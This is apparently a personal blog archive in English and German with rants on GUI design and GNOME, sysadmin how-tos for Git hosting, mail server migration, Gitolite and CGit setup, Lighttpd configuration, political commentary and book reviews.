ZM kämpft gegen die Kultur
Grandios.
I ranted about the new Unity interface some weeks ago. On several occasions thereafter, I had to help people solve problems they had using some sort of graphical user interface.
Example I: I was debugging a broken VPN connection. The connection
settings were managed by the KDE network manager, which is rather easy
to use. Internally, of course, the network manager just writes out
some temporary configuration files and starts the PPP daemon with a lot of
custom flags. That's all fine if it works – but in this case it
didn't work. It just said: "connection failed", no diagnostics given.
(The solution was to enable
MPPE,
which itself was trivial: ticking the corresponding box. How did I
find this out? Tailing /var/log/dmesg
while connecting. It said
right there: MPPE not enabled, but server side requires it.)
Example II: The gnome network manager somehow fucked up. Even now I don't know why. It says "connecting", and then nothing happens. No diagnostics.
UNIX is simple. It really is. There is a reasonable and easy-to-follow philosophy behind it. But UNIX requires the user to know what he wants to do, and read error messages. UNIX simplicity is not the same as iPhone simplicity.
Eric S. Raymond wrote this set of rules that should guide UNIX program design. In this context, two important rules stick out (emphasis mine):
Rule of Silence: When a program has nothing surprising to say, it should say nothing.
Rule of Repair: When you must fail, fail noisily and as soon as possible.
Although this is of course mostly aimed at text user interface programs, you can get an important point here. Most GUIs adhere to the Rule of Silence quite well – in fact so well that they seldom say anything at all!
Since many UNIX GUIs invoke text-interface programs under the hood, it should be a necessity to be able to view how those program failed. Luckily, most TUI programs provide descriptive error messages. If they are hidden in the GUI there are two effects:
I don't use GUI programs at all, except for a Browser (Vimperator/Firefox), a PDF viewer (Zathura) and The GIMP. Mostly, this is because of usability considerations. But also, I'm afraid to use a computer where I cannot see what is happening. And that's exactly the case with GUIs that do stuff that can fail: I don't know what they are doing and why they are failing!
I the end I always go the extra mile and read up on the PPP daemon, for example. This wouldn't be necessary if GUIs had a switch to do some really verbose logging. That would help tremendously. Plus a button to display that log. Should be easy, shouldn't it?
Bushido hat ja den Bambi bekommen. Alle regen sie sich auf. Verständlicherweise heult die taz rum, und entblödet sich auch nicht, möglichst krasse Zitate als explizit vom Burda-Verlag als einen "wertvollen Beitrag zum gegenseitigen Verständnis sozialer Gruppen mit unterschiedlichen kulturellen Wurzeln" zu bezeichnen. Arm, das ist arm.
Selbst die Piratenpartei kritisiert die Preisvergabe. Oh. Aber für Pressemitteilungen zu wesentlichen, medial besonders wichtigen Kernthemen wie dem Bundestrojaner habt ihr Tage gebraucht? – Ja, nee, ist klar.
Den Bambi – ich habe übrigens heute das erste Mal bewusst von der Institution "Bambi-Verleihung" gehört... – den Bambi für Integration hat Bushido aber natürlich verdient. Vielleicht sollte man mal aus einem anderen Blickwinkel drauf schauen:
Ein ehemaliger Randgruppen-Rapper, der sich so weit hocharbeitet, dass er mit den Stars und Sternchen des deutschen Fernsehens koksen kann; seinen eigenen Kinofilm und eine nette Villa in Dahlem hat; ganz offensichtlich gut das Klischee des Ausländers bedienen kann, und versteht, wie er polarisieren kann. Ein Rapper, der einen fetten Major-Deal hat, und es nicht mehr nötig hat, gute Musik zu machen, sondern einfach mit dem Mainstream schwimmen kann. ("23" gehört? Puuuhh.) Einer, der offensichtlich gut genug in der schmierigen Welt zwischen Entertainment und Aufmerksamkeit heischendem Journalismus umherwandelt, um sich so einen Preis vergeben zu lassen. – Eindeutig gut integriert, würde ich mal sagen.
Boah ist das lachhaft, wie alle auf ihm rumkloppen. Staiger hat da sehr gut drüber reflektiert mit einem fiktiven "Brief an Mama".
Oh ja, Rap: Savas' Aura ist da. Ziemlich gutes Album – und zum Glück ein nicht "integrierter" Rapper, sondern fresh wie eh und je.
Irgendwie hatte ich es ja geahnt, nachdem der Dönermann unten seit mehreren Wochen umgebaut wurde...
Berlin ist nicht nur die Stadt der 1.000 rund um die Uhr geöffneten Dönerläden, sondern auch die Stadt der 1.000 vorübergehend geschlossenen Dönerläden. "Vorübergehend", weil Dönerläden – wie auch Pizzerien, Schawarmastände, Schnellbäckereien und der ganze Rest – in Berlin grundsätzlich nie final und endgültig geschlossen werden, sondern immer nur "renoviert".
Diese wunderbare Beobachtung stammt aus einem Artikel, der interessanterweise die Dönerladen-Renovierungs-Taktik mit WikiLeaks in Verbindung setzt.
Stimmt ja auch irgendwie. Kommt zwar viel rum auf dem Twitter-Feed von Wikileaks, aber irgendwie nichts von Substanz, sondern nur ein kontinuierlicher Linkdump über WL-Press-Coverage. Oh, und natürlich immer wieder die Hinweise, dass das Geld nach wie vor eingefroren ist, und Assange und Manning mehr oder weniger ohne Charges gehalten werden, was natürlich abscheulich ist (besonders im Fall Manning). Aber rumheulen bringt nichts, leider. –
Der Dönermann unten hat nun wieder Alkohol und eine Bar, wieder Spielautomaten und keine Toiletten mehr (?!). Dafür kein frisch gebackenes Brot mehr. Schade.
A while ago a link to the following chart from Debian Popcon appeared HN, claiming that "Git is exploding".
I was pretty fascinated by the steep rise of Git's curve. Of course, the statistics are not representative, but they resemble a good set of somewhat typical Debian systems.
Today, I somehow thought about the graph again – and started investigating. Take a look at this graph:
On April 1st, one of the Git package maintainers uploaded a commit that changed Git's package name to "git" from "git-core". In the graph above you can very well see the steep ascend of of the red line ("git installed"), while at the same time a sudden drop of the "git no-files" package occurs. Slowly, the purple "git-core no-files" follows, indicating that APT replaced git-core with its dummy package that only contains dependencies, no files.
This doesn't explain why the red line's ascend is so steep; however, there must be some relation the package's name change.
I don't own a smart phone. Neither do I own an ebook reader. It's not that I don't like the idea; I like it. It's just that the products in that area still is in a very embryoinic state.
Considering what an iPhone or the Kindle can do, that sound like a pretty strange statement. But actually, it isn't. Let the technology be really advanced – if the user interface is no good, the product is no good.
And the current user interfaces are no good. As this nice article points out really well, we are degraded to finger-swiping and tapping motions at best. With my current phone, I can type an SMS without looking at the display; control the MP3 player without taking the phone out of my pocket; switch it to silent without looking at it. – The key point here is to sense things. Or, as the article concludes:
With an entire body at your command, do you seriously think the Future Of Interaction should be a single finger?
Side show, but the same principle applies: Keyboard vs. Mouse. Can you actually feel the corner of windows, buttons, etc.? – I can't. But I can sure feel whether I pressed a key. I can type without looking at my keyboard, but I wouldn't even care to touch the mouse without looking at the screen.
The day we have smartphones that not only have "force feedback" but real, tangible, tactile buttons and the illusion of touching a non-flat, non-homogeneous surface, I'll buy one. Same goes for the Kindle as soon as I can feel the edge of the paper and roll it like it was a few pages of printout or a paperback.
Rant Saturday! Very good rant about sites un-implementing RSS feeds.
Dear GNOME team,
I'd like to point out a fact to you: You are not, and should not compete with, Apple's Aqua GUI. There are several reasons for that, but let me tell my story first.
I installed Ubuntu 11.10 on a friend's laptop yesterday. The new Unity user
interface is somewhat unusable, of course. (Side rant: Unlike you
might think, quite many people out there have actual monitors, not
just tiny eeePC displays. Some even have computers that are more than
a few months old and lack the required processing power for stupid
eye-candy.) – First thing to do: Install gnome-shell
and
select "GNOME classic" at the login screen. Second thing: Disable
startup sound.
Enter $DEVELOPER, saying: "Oh, fuck this shit. Everybody wants these drum sounds at startup. So we'll make it hard to disable it." Guess how you can do it: Edit a somewhat buried file with root privileges. Try explaining that to your parents over the phone.
At one point I realize: There is no "Settings" menu any more. There just isn't. There are vague comments in some blogs this thing is missing, but I can't find where they put it. That's what qualifies as a regression.
The "System Settings" have moved, too, and looks like its OS X counterpart. Now if there's one thing Apple is really good at, it's making people feel comfortable (or even elitist!) thinking inside the box – by ways of designing a bearable user interface that hides complicated stuff. Mostly, though, this means you can only do what some (possibly narrow-minded) developer intended.
However, You, the GNOME team, are not good at it. Part of it is the simple fact that there just happen to exist tons of configuration options. If you hide them – and by hiding I mean: making it unaccessable without using the shell and/or editing special files – you are crippling the user.
So, please, stop "making things better". Or, if you do, on your way please don't destroy the perfectly running classig GUI in order to "improve" it. You are not Apple. You will never be Apple. The Aqua design sucks, too, but they never had a lot of configuration options in the first place. The Gnome Shell had.
Thank you.
P.S.: I don't use Desktop Environments myself, so I might have got some terminology wrong. But the fact alone I cannot find ways to configure stuff in two hour's time should tell tales.
P.P.S.: Bad decision: The scrollbars. Try teaching a person over age 60 (or below five) to use the 5px-wide scrool bar to make pop up an additional small scrollbar outside the window that actually enables scrolling the window contents. Again: not all people have a scroll wheel in their mouse. At least provide an easy settings dialog to disable this behaviour.
Update: I'm not alone, even esr made that point a while ago.
Mein guter Freund Valentin zieht in die Schweiz – und verkauft alles, was er nicht mitnehmen kann. (Das scheint mir, abgesehen von Computer, Büchern, Kleidung und Zahnbürste, fast alles zu sein.)
Wenn ihr also an günstigem, gebrauchten Hausrat oder auch an einem großartigen DJ-Set interessiert seid, solltet ihr bei seinem Yardsale vorbei schauen. Ich habe auch schon zwei Sachen gekauft. Die schwarzen Klappstühle werden wunderbar in die Küche passen, sobald sie erst einmal gestrichen ist. ;-)
Übrigens: Das ist der erste Geek-kompatible Yard-Sale, den ich gesehen habe. Die Seite ist autogeneriertes HTML, dessen Markdown-Quellen auf Github verwaltet werden. Entsprechend kann man anhand der Commits (Atom-Feed) verfolgen, was so verkauft wird.
Zum Schluss ein Pro-Tip: Man muss nicht per E-Mail kaufen. Einfach das
Repo auf Github forken, den entsprechenden Artikel in den Sold-Bereich
verschieben, git add -u
, committen, und Valentin schreiben. –
Oder wer von euch kann von sich sagen, er habe schon mal per
Pull-Request eingekauft?! – Na eben.
I took a look at this animated gif and couldn't really figure out what it was and how it happened. But now I know you can create such a cool thing – called Cobra Weave Exploding Stick Bomb -- on your own, or watch professionals do that. Amazing.
I don't have a twitter account. But in certain cases, I follow people or events using the Twitter web site or RSS feeds. Because, luckily, Twitter provides usable RSS feeds, although I'm pretty sure they don't advocate or event document it.
Simply use a URL like this:
http://api.twitter.com/1/statuses/user_timeline.rss?screen_name=USERNAME
But, seriously, you'd want to allow people to search for stuff, right? To become interested and later immersed in Twitter.
So evey time I want to look up a hash tag, I go to twitter.com
and
duh – there is no search form. You can only sign in or sign up.
No search form.
Not even is there a link to a search form. How hard would that be?
My workaround is to go to twitter.com/a
– the timeline of
certain @a, of whom I don't know who he is, but "a" is comfortable
letter to type – and there it is, at the top of the screen: a
search box.
Seriously? – Can it be that hard?
Update: Three people approached me with different ideas/URL of how to find the search form. The most mnmonically convenient seems to be search.twitter.com, though there is a javascript-free mobile version, too. Consequently, I added a form to my general-purpose search page. (Thanks for the hints to: Skudo, Julian and Chris.)
How much spam do you get? – I have a feeling I get more than I deserver. So I checked my spm ratio, i.e. the number of (recognized) spam mails divided my the number of total mails (as far as the procmail log spans, which is some 270,000 mails).
$ echo $(fgrep -c 'Subject: *****SPAM*****' Mail/from) / \
$(fgrep -c 'Subject: ' Mail/from) | bc
.952154
Now this is gross. Only less than five percent of the mail I receive might be of interest to me. :-(
If you host Git repositories, you might want to implement a cron job that automatically triggers garbage collection on the server side. As a regular user you can't usually access the unreachable objects anyway, so there's no point to keep them.
However, when invoking git gc
, Git will pack loose objects together.
This has a huge advantage: When a user clones a whole repository, Git
will compress all objects within a single packfile and transfer it via
the Git protocol. If all the objects are already in one packfile,
there's no overhead in creating a temporary packfile. (If you just
want to get a subset of commits, it's easier for git to "thin out" the
existing packfile, too.)
You can usually see if a computationally expensive temporary packfile
is created if there is a message like remote: counting objects ...
that keeps on counting for a while. For some hosters, this takes quite
some time, because the server is under high load.
I use the following script to trigger git gc
every night:
#!/bin/sh
BASE=/var/git/repositories
su - git -c "
cd $BASE
find . -name '*.git' -type d | while read repo; do
cd $BASE/\$repo && git gc >/dev/null 2>&1
done
"
You might want to omit the su
part if you create a script that's
executable by the owner of your git repositories itself.
Update: If you don't use cgit's age
files, you'll have all your
repos displaying they were recently changed in the "idle" column. To work
around this, include the following command adter the git gc
call:
mkdir -p info/web &&
git for-each-ref \
--sort=-committerdate \
--format='%(committerdate:iso8601)' \
--count=1 'refs/heads/*' \
> info/web/last-modified
I feel I have a pretty good understanding of Git. Before I came accustomed to it around the end of 2009, however, I had never extensively used version control.
Sure, I used RCS for simple projects; I played around with CVS and bought a book about it; in 2007 I became somewhat accustomed to Mercurial, because the suckless and grml projects used them at the time.
All the time I happened to use Subversion, also for coordinating the work on the book about Z shell.
RCS was simple, but was not at all suitable for collaboration. I thought CVS and Subversion were, alas I never really understood how they worked. As in: why they worked, what was good practice, why you just couldn't seem to run it locally (without client-server architecture).
I happened to just read the release notes of the new subversion 1.7. And, reading the notes, I realize it wasn't me not being attentive or being plain stupid, it's just the interface as well as repository design that was totally messed up. For example:
Subversion 1.7 features a new subcommand called svn patch which can apply patch files in unidiff format (as produced by svn diff and other diff tools) to a working copy.
I mean – what?! This must be such a basic thing – receiving patches via a mailing list and trying to apply them, right? But apparently, there was no need for that since 2000...?
Or consider this great improvement of adding a --diff
switch:
svn log can now print diffs
Oh, right. Diffs. In an SCM. Right. Might be of some use.
I'm glad I don't have to use plain SVN any more.
While browsing I saw this one today:
If you look closely, someone calculates the check to be worth $536.49, which is of course wrong. (It's $0.002.) So I set out with the GIMP to draw a riposte:
By the way, these are called demotivator pictures.
Today I migrated the last big part of my old server: the mail system. Since I and other people depend on this server for their day-to-day mailing, I had to switch over without losing a single e-mail. This is how I did it:
Step one: Port the configuration, make the environment run on the new server. Copy also user metadata like passwords and make sure the overall structure is working (incoming SMTP works, POP3 access, etc.)
Step two: Copy over all mails from the old server. The mails will be synced later on again, so this can happen some minutes in advance. (I actually lost a few days doing this, because I discovered unused mailboxes with 995,000 mails, >99% of them being spam. I had to ask the owner first, though, whether I could delete them.)
Now comes the time-critical path. It took me an overall 70 seconds to do steps three to five.
Step three: Stop the daemons that receive mail or give the user
access to it. For example: for s in postfix courier*; do
/etc/init.d/$s stop; done
– connecting to the host will now
give a "connection refused" error message. MTAs trying to deliver mail
will usually try again ten minutes later. (So no mail gets lost.)
Step four: Sync the emails again. There might have arrived new
messages, or users have deleted some of their inbox. I used this
command: rsync -avhP --delete vmail@eris.feh.name: .
Step five: Apply iptables rules to forward connections to the new
server. This is due to the fact that DNS information is slow to
spread. For a few days I don't care whether mail.feh.name
resolves
to 88.198.158.101 or to 176.9.247.89. Both will effectively talk to
the new server.
iptables -t nat -A PREROUTING -p tcp -s ! 176.9.34.52 --dport 25 \
-j DNAT --to-destination 176.9.34.52:25
iptables -t nat -A PREROUTING -p tcp -s ! 176.9.34.52 --dport 110 \
-j DNAT --to-destination 176.9.34.52:110
iptables -t nat -A POSTROUTING -d 176.9.34.52 -j MASQUERADE
iptables -A FORWARD -p tcp -d 176.9.34.52 -j ACCEPT
iptables -A FORWARD -p tcp -s 176.9.34.52 -j ACCEPT
So this establishes forwarding for SMTP and POP3. The old server will simply act as a NATing gateway to the new server.
Step six: Adjust the DNS. As said above, you can take your time for
this; but the information will eventually spread. To have an indicator of
how many connections still arrive at the old host, try iptables -t
nat -L -vn
, it'll print packet and byte counts for each rule in the
NAT table.
Done! And just one minute of outage. *like*
Good, but slightly older article: Too Smart for Git.
Git follows Linux's philosophy of refusing to protect you from yourself. Much like Linux, Git will sit back and watch you fuck your shit right up, and then laugh at you as you try to get your world back to a state where up is up and down is down. As far as source control goes, not a lot of people are used to this kind of free love.
His conclusion holds true for many other programs also:
The problem isn't that Git is to hard, it's that smart developers are impatient and have exactly zero tolerance for unexpected behavior in their tools.
I was just researching on how the file format of the xt_recent
module works.
That's where I found this nice easter egg: instead of writing down the size of
an IPv6
address plus one,
they simply used a dummy string +b335:1d35:1e55:dead:c0de:1715:5afe:c0de"
, reading "beesides less dead code it is safe code".
Hehe.
Interessant. Der Sudan hat um Mitgliedschaft in der East African Union gebeten. Interessant, weil der Sudan sich die letzten paar Jahrzehnte nicht im geringsten darum gekümmert hat, jetzt aber nicht mal mehr eine direkte Grenze mit dem nördlichsten Mitglied, Kenia, hat – und weil der Sudan damit dem abtrünnigen Südsudan zuvorkommt – die haben nämlich noch nicht um eine Mitgliedschaft gebeten, obwohl sie ein vornehmlich christliches Land sind, direkte Grenzen zu EAU-Mitgliedern haben und den wirtschaftlichen Vorteil dringender brauchen. Spannend.
Today, I migrated all my domains to the new server. While at it, I set up a mirror of my blog repository at http://git.plenz.com/blog/. You could view the pure markdown files there, or see how I messed around with Jekyll stuff.
The sync is called from a post-receive
hook with the command:
env GIT_SSH=`pwd`/hooks/blogpush git push -f git@git.plenz.com:blog master
... where blogpush
is just a little wrapper to make SSH use the
public key that has access to the repository:
#!/bin/sh
ssh -o ControlMaster=no -i /home/feh/blog.git/hooks/fehblog $@
The Git daemon supports a feature called Interpolated Path. For example, my Git daemon is called like this:
git-daemon --user=git --group=git \
--listen=0.0.0.0 --reuseaddr \
--interpolated-path=/var/git/repositories/%IP%D \
/var/git/repositories
What it does is it translates the request for a git repository before
actually searching for it. When I do a git clone
git://git.plenz.com/configs.git
what actually happens is that the Git
daemon will deliver the repository at
/var/git/repository/176.9.247.89/configs.git
. That is especially
nice in environments where you share one git daemon for several
people/projects and have sufficient IP addresses.
However, Gitolite doesn't seem to have a config option for this. Now what I did was patch Gitolite so that it'll prepend the repository name with the IP of the network interface the call came through.
This information is available from the SSH_CONNECTION
environment variable.
(The patch to gl-compile-conf
is needed so that Gitolite will create a
projects.list
per virtual host. That way, you can use different
configuration files for each CGit instance, according to your VHost.)
diff --git a/src/gl-auth-command b/src/gl-auth-command
index 61b2f5a..a8d1976 100755
--- a/src/gl-auth-command
+++ b/src/gl-auth-command
@@ -124,6 +124,12 @@ unless ( $verb and ( $verb eq 'git-init' or $verb =~ $R_COMMANDS or $verb =~ $W_
exit 0;
}
+# prepend host's ip address
+# SSH_CONNECTION looks like this: 92.225.139.246 41714 176.9.34.52 22
+# from-ip port to-ip port
+my $connected_via = (split " " => $ENV{"SSH_CONNECTION"})[2] // "";
+$repo = $connected_via . "/" . $repo;
+
# some final sanity checks
die "$repo ends with a slash; I don't like that\n" if $repo =~ /\/$/;
die "$repo has two consecutive periods; I don't like that\n" if $repo =~ /\.\./;
diff --git a/src/gl-compile-conf b/src/gl-compile-conf
index 2d4110f..6f8f0d7 100755
--- a/src/gl-compile-conf
+++ b/src/gl-compile-conf
@@ -577,6 +577,22 @@ unless ($GL_NO_DAEMON_NO_GITWEB) {
}
close $projlist_fh;
rename "$PROJECTS_LIST.$$", $PROJECTS_LIST;
+
+ # vhost stuff
+ my %vhost = ();
+ for my $proj (sort keys %projlist) {
+ my ($ip, $repo) = split '/' => $proj => 2;
+ $vhost{$ip} //= [];
+ push @{$vhost{$ip}} => $repo;
+ }
+ for my $v (keys %vhost) {
+ my $v_file = "$REPO_BASE/$v/projects.list";
+ my $v_fh = wrap_open( ">", $v_file . ".$$");
+ print $v_fh $_ . "\n" for @{$vhost{$v}};
+ close $v_fh;
+ rename $v_file . ".$$" => $v_file;
+ }
}
# ----------------------------------------------------------------------------
With this patch applied, I can git push git.plenz.com:config.git
and it will end up pushing to 176.9.247.89/configs.git
, fully transparent
to the user.
N.B.: This strictly is a "works for me" solution. It's not very clean – but I don't plan on properly implementing a config setting. As I said, it works for me. ;-)
Update 2014-09-10: I upgraded to Gitolite v3.6, and it’s different there.
There is a functionality called “triggers” now, which you can activate in the
.gitolite.rc
like such: Uncomment the key LOCAL_CODE => "$ENV{HOME}/local",
and insert these two trigger actions:
INPUT => [ 'VHost::input', ],
POST_COMPILE => [ 'VHost::post_compile', ],
Then, place this code under ~/local/lib/Gitolite/Triggers/VHost.pm
(you’ll
need to create that directory first):
package Gitolite::Triggers::VHost;
use strict;
use warnings;
use File::Slurp qw(read_file write_file);
use Gitolite::Rc;
sub input {
return unless $ENV{SSH_ORIGINAL_COMMAND};
return unless $ENV{SSH_CONNECTION};
my $dstip = (split " " => $ENV{"SSH_CONNECTION"})[2] // "";
return unless $dstip;
return if $dstip eq "127.0.0.1";
my $git_commands = "git-upload-pack|git-receive-pack|git-upload-archive";
if($ENV{SSH_ORIGINAL_COMMAND} =~ m/(?<cmd>$git_commands) '\/?(?<repo>\S+)'$/) {
$ENV{SSH_ORIGINAL_COMMAND} = "$+{cmd} '$dstip/$+{repo}'";
}
}
sub post_compile {
my %vhost = ();
my @projlist = read_file("$ENV{HOME}/projects.list");
for my $proj (sort @projlist) {
my ($ip, $repo) = split '/' => $proj => 2;
$vhost{$ip} //= [];
push @{$vhost{$ip}} => $repo;
}
for my $v (keys %vhost) {
write_file("$rc{GL_REPO_BASE}/$v/projects.list",
{ atomic => 1 }, @{$vhost{$v}});
}
}
1;
I'm still in the process of setting up my new server. Today, I migrated the Git repositories. I wanted a more secure setup, that is I don't want my web server to be able to read the repositories. (It spawns CGit, which has to read them somehow.)
So I created all repositories below /var/git/repositories
, such that
they are only readable by the system user "git".
However, that presents a problem to the CGit CGI: It cannot access the
repositories any more. My first approach was: Just chown git.git
/usr/lib/cgi-bin/cgit.cgi
and set the setuid bit on it.
But, alas, that will only make the CGit binary run with effective user ID "git". What's needed to actually access the files is a real user ID "git".
The only way to set the real user ID is to call setuid()
with
effective root privileges. So I created a wrapper that
setuid()
s to that ID (real an effective)That's what I came up with:
#include <unistd.h>
#include <sys/types.h>
#include <pwd.h>
#include <string.h>
int main(int argc, char *argv[])
{
struct passwd *p;
uid_t git_uid = 0;
while((p = getpwent()) != NULL) {
if(strcmp(p->pw_name, "git"))
continue;
/* got user "git" */
git_uid = p->pw_uid;
}
endpwent();
if(!git_uid)
return 1;
setuid(git_uid);
execv("/usr/lib/cgi-bin/cgit.cgi", argv);
return 0;
}
Provide it with a Makefile... (beware, use real tabs!)
default:
gcc -Wall -o cgit-as-git.cgi cgit-as-git.c
install:
install -o root -g root -m 4755 cgit-as-git.cgi /usr/lib/cgi-bin
... and change the Lighttpd configuration accordingly:
$HTTP["host"] == "git.plenz.com" {
setenv.add-environment += ( "CGIT_CONFIG" => "/etc/cgit/plenz.com.conf" )
alias.url = (
"/cgit.css" => "/usr/share/cgit/cgit.css",
"/cgit.png" => "/usr/share/cgit/cgit.png",
"/cgit.cgi" => "/usr/lib/cgi-bin/cgit-as-git.cgi",
"/" => "/usr/lib/cgi-bin/cgit-as-git.cgi",
)
cgi.assign = ( ".cgi" => "" )
url.rewrite-once = (
"^/cgit\.(css|png)" => "$0",
"^/.+" => "/cgit.cgi$0"
)
}
Done! Lighttpd can now call CGit as if it was a "usual" binary, but it will get wrapped and get the real and effective user ID of the system's user "git".
N.B.: If you want to use the wrapper as well, you might want to change
the (hard coded) user name "git" and the binary (see execv
call).
Sven wies mich gerade auf die Domain zsh24.de hin. Da gibt's diverse Links zu Ebay-Angeboten des Zsh-Buchs, aber auch Links, um alte, abgeknipste Dresdner Fahrkarten (deren Ebay-Angebotsname "Zsh" enthält) zu kaufen.
Teilweise kann man wirklich denken, das Blog sei nicht automatisiert erstellt: Im Artikel Tolle Zsh Bilder sind automatisiert Bilder zusammengetragen – wohlgemerkt mit entsprechender Verlinkung und Hinweisen, woher sie kommen! Also nicht dumm.
Wer macht sowas? – Ein Domainregistrar, der statt Platzhalterseiten noch ein bisschen durch Prämien verdienen will. – Mal schauen... das Impressum sagt ja schon, wer verantwortlich ist. Also: tiefer graben.
zsh24.de
zeigt auf die IP 46.4.212.70
, die im neuen RZ
13 von
Hetzner steht. Typischerweise sind ja mehrere
Domains auf eine IP gemappt.
Hier eine Auswahl der Domains, die auch auf 46.4.212.70
zeigen:
markenpositionierung.eu
organisation24.de
meisterbüro.eu
rundumerneuerung.de
boot-fuehrerschein.de
genetiv.de
(lol)regress.at
Die Domains sind absichtlich nicht verlinkt, weil die Leute wohl noch nicht so SEO-begabt sind (keine Verlinkung untereinander) und ich ihnen da nicht noch extra Aufschwung geben will.
Lustig auch zu sehen, wie simpel teilweise nach Schlagwörtern gesucht wird, wie zum Beispiel hier auf enthaltungen.de, wo ein Tweet der kölner Piraten über ein Abstimmungsergebnis verwendet wird.
Was mich ja doch ein wenig schockt ist allerdings die ebenfalls auf
obige IP-Adresse zeigende Domain tätervolk.de
– die Leute, die
solche Worte verwenden, kann man doch immer sehr schnell einordnen.
Und so kommt es auch, dass diese die einzige Domain ist, auf der
jemand tatsächlich einen der automatisierten Posts kommentiert! Ja:
kommentiert! Und nicht nur ein Verwirrter, nein: In den Posts von
"Stahlgewitter"-Liedern (srsly!?!) gibt es einmal 22 und einmal 25
Kommentare. Ich werde das nicht verlinken hier.
I'm in the process of setting up a new server. I struggled for some
minutes now with the follwing strange behaviour: Lighttpd is very
picky (and not at all verbose) about when you use
alias.url
.
As an actual example, look at these two blocks:
$HTTP["host"] == "HOST" {
alias.url += ("/munin" => "/var/www/munin")
}
$SERVER["socket"] == ":443" {
$HTTP["host"] == "HOST" {
alias.url += ("/wiki" => "/usr/share/dokuwiki",)
}
}
Now I, the innocent user, would expect the following to happen:
/munin
/wiki
But, alas, nope. It's quite different. The wiki is available alright if called before the munin part, and vice versa. The other one will be a 404, though. To make things work I actually have to double the alias part for munin – once outside the part that matches for SSL and once inside.
Oh, and don't confuse ==
and =~
– even
if both match, the exact match wins. (Meaning you cannot put the line
in a condition like =~ ":(443|80)"
.) So there's no real
cascading or so. Bad design in my opinion, but it
seems to be
intentional. WTF?
Correct solution:
$HTTP["host"] == "HOST" {
alias.url += ("/munin" => "/var/www/munin")
}
$SERVER["socket"] == ":443" {
$HTTP["host"] == "HOST" {
alias.url += ("/munin" => "/var/www/munin")
}
}
$SERVER["socket"] == ":443" {
$HTTP["host"] == "HOST" {
alias.url += ("/wiki" => "/usr/share/dokuwiki",)
}
}
Holy crap. Explain that to someone unfamiliar with how difficult it is to implement data structures in C. – They'd just call you a moron for not implementing a more intuitive aproach. – Wait, I do, too!
Frank Rieger bringt es auf den Punkt:
Sich darauf zu verlassen, dass in Zeiten von Finanzmarktzusammenbrüchen, aufbrechenden sozialen Verwerfungen und kommenden Ressourcenkrisen die Mittel, die unter dem Banner der Terrorismusbekämpfung geschaffen wurden, zurückhaltend und wohlüberlegt zum Einsatz gebracht werden, ist etwas für naive Staatsgläubige, nicht für mündige Bürger.
Puh, na da habe ich ja ein Glück gehabt! Da gab's einen super fiesen Terroranschlag in Berlin, der aber gerade noch so vereitelt wurde. Zum Glück war ich die Woche im Urlaub! m(
Zyniker könnten nun meinen, dass man schon vorher hätte wissen können, dass "etwas" am Donnerstag passieren würde: Das Wochenende 10./11. September inkl. Gedenktag eignet sich nicht, weil a) Sommerloch und b) Wochenende, und wer will da (neuen) Terror haben. – Kommender Montag wäre auch schlecht weil a) nach 9/11 und b) zeitlich zu knapp vor den Wahlen, es sollte schon ein Wochenende zwischen Terror und Wahl liegen, auch um das einsinken zu lassen. – Zynische Zyniker könnten nun allerdings einwenden, dass "es" ja schon Mittwoch hätte passieren können. Hm.
The Git User's Survey is up from now until the beginning of october. Take part!
... was ich so im August gelesen habe, neben den beiden Suarez-Romanen.
Robert Cialdini: Influence, The Psychology of Persuasion, empfohlen bei Alternativlos 8, ein Klassiker für Vermarkter. Viele interessante Prinzpien, die u.a. Werbestrategien zugrunde liegen werden anhand guter Beispiele erklärt. – Janne Teller: Nichts, dessen deutsche Übersetzung erst jetzt, zehn Jahre nach der dänischen Erstveröffentlichung, erschienen ist. Zwar als Jugendroman gedacht, ist es auch für Ältere nett, auf einfache, praktische Weise über den im Buch dargestellten Nihilismus und dessen Gegner und Gegenargumente zu reflektieren. Zeitweise war das Buch an dänischen Schulen verboten – D. Johnson: Afrika vor dem großen Sprung, Auf knapp über 100 Seiten gibt der Autor des Kongo-Echos seine Einschätzung zur Zukunft Afrikas zum besten. Während ich manche seiner Voraussagen doch sehr optimistisch finde, ergibt sich nach dem Lesen insgesamt ein guter Überblick über aktuelle Probleme, aber vor allem auch Chancen Afrikas. – Bret Easton Ellis: The Rules of Attraction, lustig, wahr, um Längen besser als der gleichnamige Film zum Buch.
Dave Eggers: Weit gegangen, ist ein Buch über den Sudanesen Achak Deng, der seit seiner frühesten Kindheit zunächst innerhalb des heutigen Südsudan, später in Äthiopien und im Norden Kenias auf der Flucht war bzw. später in Flüchtlingslagern lebte. Knapp 800 Seiten stark ist die Geschichte, die erzählt wird; und doch kann man das Buch locker in zwei Tagen lesen, weil es so leicht und spannend zugleich geschrieben ist. Leseempfehlung!
Ayn Rand: Atlas Shrugged, habe ich heute morgen fertig gelesen. Meine Ausgabe ist knapp 1100 Seiten lang, allerdings bei 8-Punkt-Schrift, ohne nennenswerten Rand, schlecht gedruckt und gebunden. Aber immerhin, sechs Euro... – Ich war auf das Buch aufmerksam geworden durch den ersten Teil der Dokumentationsserie All Watched Over by Machines of Loving Grace, der im Wesentlichen Ayn Rand und die Implikationen ihrer Philosophie beleuchtet. Ohne viel nachzudenken habe ich mir das Buch bei Amazon geklickt, weil ich dachte, dass es bei dem Preis sicherlich nur eine kleine Broschüre wäre... Falsch gedacht. – Das Buch ist im wahrsten Sinne atemberaubend. Kein Kapitel ist unnötig, es fällt leicht, das Buch in einem Rutsch zu lesen. Die Rezeption des Buches spricht für sich. Manche Leute würden den Inhalt als "die absoulte Wahrheit" bezeichnen, Andere nur als "Kapitalismus-Geschwafel". Egal was man darüber denkt, das Buch polarisiert und regt zum Nachdenken an. – Das Buch stellt den Kampf zwischen einem unfair und uneffizient implementierten Sozialismus vs. Laissez-faire-Kapitalismus dar, oder einfacher gesagt, den Kampf zwischen Ich brauche vs. Ich kann. Rand ist eine Verfechterin rationaler Entscheidungen: dadurch werden die Gegenüberstellungen verschiedener Gedankenschulen im Buch leider immer schwarz-weiß dargestellt. Doch gibt es viele Elemente, die äußerst lehrreich sind: Das ständige I couldn't help it und Who am I to blame? gibt es genau so heute. Marode öffentliche Infrastruktur haben wir heutzutage noch viel mehr als früher (unter dem Deckmantel der Privatisierung, was aber in Rands Augen genau dem Reiten, bis der Gaul tot ist entspricht). Die voluntary compliance als maskierter Zwang. – An einigen Stellen scheinen meiner Meinung nach deutlich Nietzschesche Tendenzen durch: sowohl die Ideen, als auch die Form (vgl. John Galts Radioansprache und Zarathustras Reden). NB: Viele Rand-Anhänger behaupten, dass Rand schon zu Zeiten von The Fountainhead komplett mit der Philosophie Neitzsches gebrochen hatte. – Was auch immer 